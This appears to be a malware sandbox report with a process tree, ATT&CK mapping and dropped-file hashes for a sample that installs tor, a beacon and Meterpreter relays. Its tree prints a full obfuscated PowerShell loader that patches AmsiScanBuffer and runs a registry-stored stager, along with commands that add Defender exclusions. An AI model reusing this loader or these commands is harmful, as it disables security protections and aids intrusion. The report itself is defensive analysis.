PID 864 wrote to memory of 1588	864	dllhost.exe	27
PID 864 wrote to memory of 1604	864	dllhost.exe	28
PID 864 wrote to memory of 1720	864	dllhost.exe	29
PID 864 wrote to memory of 1740	864	dllhost.exe	30
PID 864 wrote to memory of 1780	864	dllhost.exe	31
PID 864 wrote to memory of 1812	864	dllhost.exe	32
PID 864 wrote to memory of 1896	864	dllhost.exe	33
PID 864 wrote to memory of 1908	864	dllhost.exe	34
PID 864 wrote to memory of 1972	864	dllhost.exe	35
PID 864 wrote to memory of 1984	864	dllhost.exe	36
PID 864 wrote to memory of 1568	864	dllhost.exe	37
PID 864 wrote to memory of 2084	864	dllhost.exe	38
PID 864 wrote to memory of 2236	864	dllhost.exe	40
PID 864 wrote to memory of 2272	864	dllhost.exe	41
PID 864 wrote to memory of 2428	864	dllhost.exe	42
PID 864 wrote to memory of 2436	864	dllhost.exe	43
PID 864 wrote to memory of 2580	864	dllhost.exe	44
PID 864 wrote to memory of 2596	864	dllhost.exe	45
PID 864 wrote to memory of 2716	864	dllhost.exe	46
PID 864 wrote to memory of 2736	864	dllhost.exe	47
PID 864 wrote to memory of 2796	864	dllhost.exe	48
PID 864 wrote to memory of 2808	864	dllhost.exe	49
PID 864 wrote to memory of 2824	864	dllhost.exe	50
PID 864 wrote to memory of 2856	864	dllhost.exe	51
PID 864 wrote to memory of 2872	864	dllhost.exe	52

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:608
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:60
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{ad89d9e7-0971-47e1-88fa-48a51df51333}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:864

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:388

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1036

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1132

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1140
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2736
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:ObwZiSGHGqDS{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$dWHnrzSkvXxmvV,[Parameter(Position=1)][Type]$CvADvnSEfR)$giWssjoLviK=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+'f'+[Char](108)+''+[Char](101)+''+[Char](99)+'t'+[Char](101)+''+[Char](100)+'D'+[Char](101)+''+[Char](108)+''+'e'+''+'g'+''+[Char](97)+''+'t'+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+'M'+''+'e'+''+'m'+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+'o'+[Char](100)+'ul'+[Char](101)+'',$False).DefineType('My'+[Char](68)+''+'e'+''+[Char](108)+'e'+[Char](103)+''+'a'+''+'t'+''+[Char](101)+''+'T'+''+'y'+''+[Char](112)+''+'e'+'',''+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+''+','+''+[Char](80)+'u'+'b'+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+'S'+[Char](101)+''+[Char](97)+'l'+'e'+''+[Char](100)+',An'+'s'+''+[Char](105)+'C'+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+','+''+[Char](65)+''+[Char](117)+'t'+'o'+''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$giWssjoLviK.DefineConstructor(''+'R'+'T'+'S'+'p'+[Char](101)+''+[Char](99)+''+'i'+''+'a'+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+','+[Char](72)+''+[Char](105)+''+[Char](100)+''+'e'+'B'+[Char](121)+'S'+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+'u'+[Char](98)+'l'+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$dWHnrzSkvXxmvV).SetImplementationFlags('R'+'u'+''+'n'+''+[Char](116)+''+'i'+''+'m'+''+'e'+','+'M'+''+[Char](97)+''+[Char](110)+''+'a'+''+'g'+'e'+'d'+'');$giWssjoLviK.DefineMethod('In'+[Char](118)+'o'+'k'+''+[Char](101)+'',''+[Char](80)+''+'u'+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+','+[Char](72)+''+[Char](105)+''+'d'+''+[Char](101)+'By'+[Char](83)+''+[Char](105)+'g'+','+''+'N'+''+[Char](101)+''+[Char](119)+''+[Char](83)+'l'+'o'+''+'t'+''+','+''+'V'+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+'u'+''+[Char](97)+''+'l'+'',$CvADvnSEfR,$dWHnrzSkvXxmvV).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+'i'+[Char](109)+''+'e'+''+','+''+'M'+''+[Char](97)+''+'n'+''+'a'+''+[Char](103)+'e'+[Char](100)+'');Write-Output $giWssjoLviK.CreateType();}$hXsaCHUGDggQt=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+''+[Char](115)+''+'t'+''+[Char](101)+''+'m'+'.'+[Char](100)+''+'l'+'l')}).GetType(''+'M'+''+[Char](105)+'c'+[Char](114)+''+'o'+''+[Char](115)+''+'o'+''+[Char](102)+'t'+[Char](46)+''+[Char](87)+''+'i'+''+[Char](110)+'3'+'2'+'.'+[Char](85)+''+[Char](110)+'s'+[Char](97)+''+'f'+''+[Char](101)+''+[Char](78)+''+'a'+'t'+[Char](105)+'v'+'e'+''+'M'+''+'e'+''+[Char](116)+''+[Char](104)+''+'o'+''+'d'+''+'s'+'');$BIFozJUaOHwwtT=$hXsaCHUGDggQt.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+'P'+''+'r'+''+'o'+''+[Char](99)+''+[Char](65)+''+[Char](100)+''+[Char](100)+''+'r'+''+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+'P'+''+'u'+''+[Char](98)+''+'l'+''+'i'+'c'+[Char](44)+'St'+[Char](97)+''+'t'+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$SHoWvHjSccaGusxQzUx=ObwZiSGHGqDS @([String])([IntPtr]);$ebtSvKQtjlfCDXyzPHQncN=ObwZiSGHGqDS @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$mkNuLNViIJk=$hXsaCHUGDggQt.GetMethod(''+'G'+''+[Char](101)+''+'t'+''+[Char](77)+''+[Char](111)+'du'+[Char](108)+''+[Char](101)+''+'H'+'a'+[Char](110)+'dl'+'e'+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+'r'+''+[Char](110)+''+'e'+''+[Char](108)+'3'+[Char](50)+''+'.'+'dl'+'l'+'')));$etppoolscHsKjK=$BIFozJUaOHwwtT.Invoke($Null,@([Object]$mkNuLNViIJk,[Object]('L'+[Char](111)+''+[Char](97)+'d'+'L'+'ib'+'r'+''+'a'+''+'r'+''+'y'+'A')));$DxLUteHezGdcyTxfn=$BIFozJUaOHwwtT.Invoke($Null,@([Object]$mkNuLNViIJk,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+'u'+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+'o'+''+[Char](116)+''+'e'+''+'c'+''+[Char](116)+'')));$XGcQQTO=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($etppoolscHsKjK,$SHoWvHjSccaGusxQzUx).Invoke('a'+[Char](109)+'si'+'.'+''+[Char](100)+''+[Char](108)+''+'l'+'');$qlAwSCMvUXGHcoPeb=$BIFozJUaOHwwtT.Invoke($Null,@([Object]$XGcQQTO,[Object](''+'A'+'m'+[Char](115)+''+[Char](105)+''+[Char](83)+''+'c'+''+'a'+''+[Char](110)+''+[Char](66)+''+[Char](117)+'f'+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$eLuepQvWRl=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DxLUteHezGdcyTxfn,$ebtSvKQtjlfCDXyzPHQncN).Invoke($qlAwSCMvUXGHcoPeb,[uint32]8,4,[ref]$eLuepQvWRl);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$qlAwSCMvUXGHcoPeb,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DxLUteHezGdcyTxfn,$ebtSvKQtjlfCDXyzPHQncN).Invoke($qlAwSCMvUXGHcoPeb,[uint32]8,0x20,[ref]$eLuepQvWRl);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+''+'T'+''+[Char](87)+''+'A'+''+'R'+''+[Char](69)+'').GetValue(''+'$'+''+[Char](55)+''+[Char](55)+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+'g'+'e'+'r'+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4480

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1148

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1156

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1236

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1284

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1416

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1444
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2580

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1572

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1588

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1604

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1720

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1740

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1780

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1812

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1896

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1908

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1972

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1984

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1568

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2084

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2236

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2272

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2428

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2436

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2596

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Suspicious use of UnmapMainImage
PID:2716

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2796

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2808

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2824

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2856

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2872

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3180

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3488

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of UnmapMainImage
PID:3576
- C:\Users\Admin\AppData\Local\Temp\8e3c8a67122bed24ce4a67ce7df0af3bf3b856dad467edd059c5afdbf46a6cf2.exe
  "C:\Users\Admin\AppData\Local\Temp\8e3c8a67122bed24ce4a67ce7df0af3bf3b856dad467edd059c5afdbf46a6cf2.exe"
  2⤵
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2772
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2080
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Add-MpPreference -ExclusionPath 'C:\\Windows\\$77driver'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2728
- - C:\Windows\$77driver\$77tor.exe
    C:\Windows\$77driver\$77tor.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2452
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4904
- - C:\Windows\$77driver\$77master.exe
    C:\Windows\$77driver\$77master.exe
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2340
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:760
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Add-MpPreference -ExclusionPath 'C:/windows/$77driver'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5092
  - - C:\windows\$77driver\$77install.exe
      C:/windows/$77driver\$77install.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3520
  - - C:\windows\$77driver\$77securerelay.exe
      C:/windows/$77driver\$77securerelay.exe
      4⤵
      Executes dropped EXE
      PID:2836
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3336
  - - C:\windows\$77driver\$77beacon.exe
      C:/windows/$77driver\$77beacon.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3728
  - - C:\windows\$77driver\$77securerelayMeterpreter.exe
      C:/windows/$77driver\$77securerelayMeterpreter.exe
      4⤵
      Executes dropped EXE
      PID:4128
  - - C:\windows\$77driver\$77securerelayMeterpreter.exe
      C:/windows/$77driver\$77securerelayMeterpreter.exe
      4⤵
      Executes dropped EXE
      PID:5000
  - - C:\windows\$77driver\$77securerelayMeterpreter.exe
      C:/windows/$77driver\$77securerelayMeterpreter.exe
      4⤵
      Executes dropped EXE
      PID:4596
  - - C:\windows\$77driver\$77securerelayMeterpreter.exe
      C:/windows/$77driver\$77securerelayMeterpreter.exe
      4⤵
      Executes dropped EXE
      PID:3508
  - - C:\windows\$77driver\$77securerelayMeterpreter.exe
      C:/windows/$77driver\$77securerelayMeterpreter.exe
      4⤵
      Executes dropped EXE
      PID:220
  - - C:\windows\$77driver\$77securerelayMeterpreter.exe
      C:/windows/$77driver\$77securerelayMeterpreter.exe
      4⤵
      Executes dropped EXE
      PID:2464
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1640

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3744

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3928

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2756

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3696

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4720

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:408

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4280

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:3800

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4604

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:3248

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4804

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4228

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:3264

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3768

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Modifies registry class
PID:1068

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:1300

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:1580

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:4552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:3228

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:724

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:2892

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
1⤵
PID:4900

C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
1⤵
PID:4012

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4352

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a
MD5 968cb9309758126772781b83adb8a28f
SHA1 8da30e71accf186b2ba11da1797cf67f8f78b47c
SHA512 4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 18KB
SHA256 c3ead7e5801bd020e1eb3a3c9425eaa45fd7aabf52ce49478a64a36a11c0e2ce
MD5 3946ab4360bc79f168b15aa98b2e4511
SHA1 f2df723d0dd6c21684ac53696ff25464796faf48
SHA512 608c1b9f1a233daa07af065df466b22da496f8abd7ea1eb7a982e38653eceecc21953d5b5f58609d6b0d2b0adad81f4f4fa60f45db3f4cdb0265c017dcf287c9
SSDEEP 384:ssf+BF9i+JKwu4+xYBiA5FCk0o9o2TNK6seYUME/J03SoZBfYSgojEDkaQ0gdwt3:JfiM4RokfZo2TNNzrSSUW2ED3CS3
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_kxmx4bqy.tfm.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kxmx4bqy.tfm.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

cached-certs

Path C:\Users\Admin\AppData\Roaming\tor\cached-certs
Size 20KB
SHA256 01244f9ff612da2f20e7880fad47594c7a4a2ba618fab5939255b1d6b9c1d714
MD5 48bfa82cdfb4d69276aa04aa014db533
SHA1 0610a537ff6ceb2f020106c07f394d4082cdaec9
SHA512 c46937066207b2a7b2d1309c2c877af45aa71ea0095db1c7626d6884f0a34eb2d7d2f76a87b2fec0825d64d622e45473c6f334275d187a32bb9d14ecf97b274c
SSDEEP 384:y/40VVq1h8PXti2q4WYVQq1hL2h4YVc1h19U4uWVxJ1her9MY4JVtG1hIcCyWd2U:oJiO9aVYpP6xyhC5WLJ4BELGf/G26ZJl
MD5 SHA1 SHA512 SSDEEP

Submit Download

cached-microdesc-consensus.tmp

Path C:\Users\Admin\AppData\Roaming\tor\cached-microdesc-consensus.tmp
Size 2.6MB
SHA256 d2b9677b26403a40b53c1a9f9af8d572b62f03efb0dabac0c966fbe0fe118c57
MD5 9c8f50326cfda1dc3545b91c02b5d607
SHA1 b4eef66fd6b6510d582d80d37f861ca211e16b49
SHA512 8dd21d3ed878553d5e9ba8f2481ccbfa4ac319baa7cd7d1d89382f3b19f2885f36ac2f43879723372788da7fdc7966187d1a555d4a9eb19f42f3f39072d3a857
SSDEEP 12288:edPrZNTay3e0vQFR5K6Dj1gmXKXbWTHPohoebu+go/vgMazq+L7Z7:erQFWBcAWTWCzopQD9
MD5 SHA1 SHA512 SSDEEP

Submit Download

cached-microdescs.new

Path C:\Users\Admin\AppData\Roaming\tor\cached-microdescs.new
Size 8.0MB
SHA256 4376ca474e4ed2e9400a1b95d72f3c1f9ea849f4242b55a196e73e913eea6db5
MD5 eb878720df4f5aed2f8cf0fbbd27de86
SHA1 74f3cb1d29dd51ac6d5c1016efe6bde6f18f79ba
SHA512 5e0122c82fbae5ff3c54cb289606e9905b3b731b25249a1ea907b7a1d48c2df862525bf29e6fd42df0b55135036253017da3b8ed2acb55735609eeda15eb1997
SSDEEP 24576:O8pD3Dj+FMCVviozL+q9krDijQNIAAm3Mg3tArMr5oEyl4u76K0ejbDDq7kl92IJ:DU+aGnMMOguN
MD5 SHA1 SHA512 SSDEEP

Submit Download

$77beacon.exe

Path C:\Windows\$77driver\$77beacon.exe
Size 14.4MB
SHA256 bed174f1786f2c56316d8278044e7765c3b599620c7afbb01714ced9e4da0513
MD5 57db465cb990a7953cff58ae3aea0370
SHA1 ab1cf86db1997797f02b0a1f7cd201d3f52fe2c5
SHA512 1a016e72ae112eb8cbec6f758143b5068885c321e50b71c8a7ce863a22b129a5eabc7884179288a2eedf9ae3f0bad5f8ac634ac597ac290bd16af31b79f6eea3
SSDEEP 98304:nol4hZeWDozOsE5DcHXJqn6PMZSH86p5mQWS9+mIo4h01Ej63QRAD:olYWwyJq6PreQL9+R9uGj6+6
MD5 SHA1 SHA512 SSDEEP

Submit Download

$77install.exe

Path C:\Windows\$77driver\$77install.exe
Size 163KB
SHA256 b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5
MD5 1a7d1b5d24ba30c4d3d5502295ab5e89
SHA1 2d5e69cf335605ba0a61f0bbecbea6fc06a42563
SHA512 859180338958509934d22dbc9be9da896118739d87727eb68744713259e819551f7534440c545185f469da03c86d96e425cdf5aae3fb027bb8b7f51044e08eaa
SSDEEP 3072:TQpsSyjlzA664oL8tIoDJxGtIVORPrdAHjl3+uwF+iBDZ/wXxnTFKe8kaz:TQpsSyjlzfnoNGxGo6PrdAHwtMxn4e8N
MD5 SHA1 SHA512 SSDEEP

Submit Download

$77master.exe

Path C:\Windows\$77driver\$77master.exe
Size 8.9MB
SHA256 1ad6c91825f9ad0179bc20f4f53d5f2c0860270d251aa23c8a607b1e2cde35ec
MD5 c8aed7f2c31fdf5978c94159ea6e2c25
SHA1 42c1b533abda8083b4c6405af33b405dea7ad421
SHA512 2f9a498bc1da80a8ed8eaae9ea836d8ff6a69b52f231402523c2b4fc34643335985ffb77933d7e8c3f1b48227f920aa3d07182561e0178af48d447c3f0d137ba
SSDEEP 98304:leHQGpxcepYIOX3bQ3zhKRuJKI07NV2EwBLU71H/D8w/alW8zA+j83:2cepY3EDhKRuJZYYE1H/0zRS
MD5 SHA1 SHA512 SSDEEP

Submit Download

$77securerelay.exe

Path C:\Windows\$77driver\$77securerelay.exe
Size 250KB
SHA256 7e4c8952e0caac9829fdd5edfc80ebc0ed79d18a464230a1896d7a1257f6ddab
MD5 9e878aa8190d6a17e4bbd0b97d49bd04
SHA1 6e3c969aa91c374b0d0dace0f0bf299fa2116f1d
SHA512 3192187004d6f5039d13ed7f9f8462b3868c48f60878a8741bb12c9cc89d3735d631da365c2373eb90778b39427e2bd714cf0f3291e4b3ae1cd1854c320299e8
SSDEEP 3072:yTmruSMh6Qh95e1xD+/Rvg1nrVDC38HvG2lMwwRjue9TdlJvMgAyAwYwcG:ophjH5sxi/5g1nR+38nw4eBi/G
MD5 SHA1 SHA512 SSDEEP

Submit Download

